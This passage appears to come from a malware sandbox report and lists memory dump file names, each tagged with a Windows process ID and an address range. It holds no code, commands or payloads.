memory/5452-1803-0x00007FF63BBC0000-0x00007FF63BCA3000-memory.dmp
memory/5452-2195-0x00007FF63BBC0000-0x00007FF63BCA3000-memory.dmp
memory/5624-479-0x00007FF6A76E0000-0x00007FF6A8017000-memory.dmp
memory/5624-518-0x00007FF6A76E0000-0x00007FF6A8017000-memory.dmp
memory/5624-480-0x00007FF6A76E0000-0x00007FF6A8017000-memory.dmp
memory/5624-494-0x00007FF6A76E0000-0x00007FF6A8017000-memory.dmp
memory/5624-1104-0x00007FF6A76E0000-0x00007FF6A8017000-memory.dmp
memory/5708-1029-0x00007FF730E90000-0x00007FF731B10000-memory.dmp
memory/5708-451-0x00007FF730E90000-0x00007FF731B10000-memory.dmp
memory/5708-355-0x00007FF730E90000-0x00007FF731B10000-memory.dmp
memory/5708-1019-0x000002AA4D920000-0x000002AA4D970000-memory.dmp
memory/5708-2181-0x00007FF730E90000-0x00007FF731B10000-memory.dmp
memory/5708-477-0x00007FF730E90000-0x00007FF731B10000-memory.dmp
memory/5708-1264-0x000002AA4C830000-0x000002AA4C842000-memory.dmp
memory/5764-497-0x000001DA59340000-0x000001DA595B1000-memory.dmp
memory/5764-498-0x000001DA59340000-0x000001DA595B1000-memory.dmp
memory/5764-499-0x000001DA59340000-0x000001DA595B1000-memory.dmp
memory/5764-493-0x000001DA59340000-0x000001DA595B1000-memory.dmp
memory/5764-487-0x000001DA59340000-0x000001DA595B1000-memory.dmp
memory/5844-474-0x000001809C430000-0x000001809C6B5000-memory.dmp
memory/5844-354-0x000001809A120000-0x000001809A3F7000-memory.dmp
memory/5844-475-0x000001809C430000-0x000001809C6B5000-memory.dmp
memory/5844-473-0x000001809C430000-0x000001809C6B5000-memory.dmp
memory/5844-448-0x000001809BE80000-0x000001809C15A000-memory.dmp
memory/5844-466-0x000001809C430000-0x000001809C6B5000-memory.dmp
memory/5844-472-0x000001809C430000-0x000001809C6B5000-memory.dmp
memory/5924-502-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5924-2522-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5924-1066-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5924-483-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5924-484-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5924-495-0x00007FF7BDCD0000-0x00007FF7BE610000-memory.dmp
memory/5996-453-0x0000000000DE0000-0x0000000000E50000-memory.dmp
memory/6028-1746-0x00007FF7069A0000-0x00007FF706A86000-memory.dmp
memory/6028-2176-0x00007FF7069A0000-0x00007FF706A86000-memory.dmp
memory/6040-413-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6040-399-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6040-1040-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6040-476-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6040-414-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6040-443-0x00007FF6E6EE0000-0x00007FF6E77F4000-memory.dmp
memory/6088-449-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6088-447-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6088-427-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6088-1478-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6088-1051-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6088-401-0x00007FF68D6E0000-0x00007FF68E013000-memory.dmp
memory/6512-888-0x00000000059D0000-0x0000000005ADA000-memory.dmp
memory/6512-889-0x0000000005900000-0x0000000005912000-memory.dmp
memory/6512-890-0x0000000005960000-0x000000000599C000-memory.dmp
memory/6836-2715-0x000001B233310000-0x000001B2334D2000-memory.dmp
memory/7092-2341-0x00007FF6FAD60000-0x00007FF6FAEB4000-memory.dmp
memory/7248-1616-0x00000000049E0000-0x0000000004D34000-memory.dmp
memory/7248-1692-0x00000000069B0000-0x00000000069C2000-memory.dmp
memory/8152-842-0x0000000000690000-0x00000000006E2000-memory.dmp
memory/8152-862-0x0000000006100000-0x0000000006718000-memory.dmp
memory/8152-930-0x0000000005300000-0x000000000534C000-memory.dmp
memory/8344-1865-0x00007FF738320000-0x00007FF7385A7000-memory.dmp
memory/8344-1856-0x00007FF738320000-0x00007FF7385A7000-memory.dmp
memory/8528-1403-0x0000000000DF0000-0x000000000193D000-memory.dmp
memory/8528-1070-0x0000000000DF0000-0x000000000193D000-memory.dmp
memory/8624-1209-0x00000000063C0000-0x00000000063E2000-memory.dmp
memory/8624-1050-0x0000000002E20000-0x0000000002E56000-memory.dmp
memory/8624-1054-0x0000000005780000-0x0000000005DA8000-memory.dmp
memory/8624-1210-0x0000000006460000-0x00000000064C6000-memory.dmp
memory/8624-1211-0x0000000006540000-0x0000000006894000-memory.dmp
memory/8644-2024-0x0000000005490000-0x000000000551C000-memory.dmp
memory/8644-2023-0x00000000053F0000-0x00000000053FA000-memory.dmp
memory/8644-2025-0x00000000056D0000-0x000000000587C000-memory.dmp
memory/8680-1623-0x0000000000400000-0x0000000000442000-memory.dmp
memory/8712-923-0x00000000050C0000-0x000000000519E000-memory.dmp
memory/8712-922-0x00000000008F0000-0x0000000000952000-memory.dmp
memory/9564-1122-0x0000000000EB0000-0x00000000019FE000-memory.dmp
memory/9564-1421-0x0000000000EB0000-0x00000000019FE000-memory.dmp
memory/9656-1454-0x00000000030D0000-0x00000000030DA000-memory.dmp
memory/9656-1458-0x0000000005740000-0x00000000058EE000-memory.dmp
memory/9656-1456-0x0000000005500000-0x000000000558E000-memory.dmp
memory/9656-1452-0x0000000003080000-0x00000000030AE000-memory.dmp
memory/10108-1144-0x00000288EB990000-0x00000288EBC9E000-memory.dmp
memory/10120-1161-0x0000000000A30000-0x000000000157E000-memory.dmp
memory/10120-1510-0x0000000000A30000-0x000000000157E000-memory.dmp
memory/10160-2552-0x000001E23BA00000-0x000001E23BA08000-memory.dmp
memory/10160-2493-0x000001E23B800000-0x000001E23B8B5000-memory.dmp
memory/10160-2492-0x000001E23B7E0000-0x000001E23B7FC000-memory.dmp
memory/10160-2494-0x000001E222EA0000-0x000001E222EAA000-memory.dmp
memory/10160-2555-0x000001E23BA60000-0x000001E23BA6A000-memory.dmp
memory/10160-2554-0x000001E23BA10000-0x000001E23BA16000-memory.dmp
memory/10160-2528-0x000001E23B4C0000-0x000001E23B4CA000-memory.dmp
memory/10160-2512-0x000001E23BA20000-0x000001E23BA3C000-memory.dmp
memory/10160-2550-0x000001E23BA40000-0x000001E23BA5A000-memory.dmp